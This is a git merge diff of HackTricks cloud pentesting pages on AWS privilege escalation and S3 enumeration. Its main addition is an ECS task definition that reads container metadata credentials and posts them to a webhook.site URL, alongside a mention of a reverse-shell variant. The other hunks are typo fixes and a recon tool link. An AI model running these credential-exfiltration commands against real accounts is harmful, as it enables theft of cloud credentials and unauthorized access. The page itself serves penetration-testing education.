Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md

@@ -225,7 +225,7 @@ JSON="{
 
 printf "$JSON" > $REV_PATH
 
-aws codebuild update-project --cli-input-json file://$REV_PATH
+aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
 
 aws codebuild start-build --project-name codebuild-demo-project
 ```

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md

@@ -14,6 +14,8 @@ More **info about ECS** in:
 
 An attacker abusing the `iam:PassRole`, `ecs:RegisterTaskDefinition` and `ecs:RunTask` permission in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.
 
+{{#tabs }}
+{{#tab name="Reverse Shell" }}
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -34,6 +36,47 @@ aws ecs run-task --task-definition iam_exfiltration \
 aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 ```
 
+{{#endtab }}
+
+{{#tab name="Webhook" }}
+
+Create a webhook with a site like webhook.site 
+
+```bash
+
+# Create file container-definition.json
+[
+  {
+    "name": "exfil_creds",
+    "image": "python:latest",
+    "entryPoint": ["sh", "-c"],
+    "command": [
+      "CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
+    ]
+  }
+]
+
+# Run task definition, uploading the .json file
+aws ecs register-task-definition \
+  --family iam_exfiltration \
+  --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
+  --network-mode "awsvpc" \
+  --cpu 256 \
+  --memory 512 \
+  --requires-compatibilities FARGATE \
+  --container-definitions file://container-definition.json
+  
+# Check the webhook for a response
+
+# Delete task definition
+## You need to remove all the versions (:1 is enough if you just created one)
+aws ecs deregister-task-definition --task-definition iam_exfiltration:1
+
+```
+{{#endtab }}
+
+{{#endtabs }}
+
 **Potential Impact:** Direct privesc to a different ECS role.
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md

@@ -28,7 +28,7 @@ An attacker could subscribe or to an SNS topic, potentially gaining unauthorized
 aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
 ```
 
-**Potential Impact**: Unauthorized access to messages (sensitve info), service disruption for applications relying on the affected topic.
+**Potential Impact**: Unauthorized access to messages (sensitive info), service disruption for applications relying on the affected topic.
 
 ### `sns:AddPermission`
 

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md

@@ -25,7 +25,7 @@ Or you could also go to the API AWS documentation and check each action docs:
 
 ### `states:TestState` & `iam:PassRole`
 
-An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, enabling unauthorized access to other AWS services with the roles' permissions. potentially. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation.
+An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, potentially enabling unauthorized access to other AWS services with the roles' permissions. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation.
 
 ```bash
 aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md

@@ -26,6 +26,7 @@ Different methods to find when a webpage is using AWS to storage some resources:
   ```
 
 - Check for **CNAMES** as `resources.domain.com` might have the CNAME `bucket.s3.amazonaws.com`
+- **[s3dns](https://github.com/olizimmermann/s3dns)** – A lightweight DNS server that passively identifies cloud storage buckets (S3, GCP, Azure) by analyzing DNS traffic. It detects CNAMEs, follows resolution chains, and matches bucket patterns, offering a quiet alternative to brute-force or API-based discovery. Perfect for recon and OSINT workflows.
 - Check [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), a web with already **discovered open buckets**.
 - The **bucket name** and the **bucket domain name** needs to be **the same.**
   - **flaws.cloud** is in **IP** 52.92.181.107 and if you go there it redirects you to [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Also, `dig -x 52.92.181.107` gives `s3-website-us-west-2.amazonaws.com`.
@@ -101,6 +102,8 @@ Check that the resolved domain have the word "website".\
 You can access the static website going to: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
 or you can access the bucket visiting: `flaws.cloud.s3-us-west-2.amazonaws.com`
 
+
+
 #### By Trying
 
 If you try to access a bucket, but in the **domain name you specify another region** (for example the bucket is in `bucket.s3.amazonaws.com` but you try to access `bucket.s3-website-us-west-2.amazonaws.com`, then you will be **indicated to the correct location**: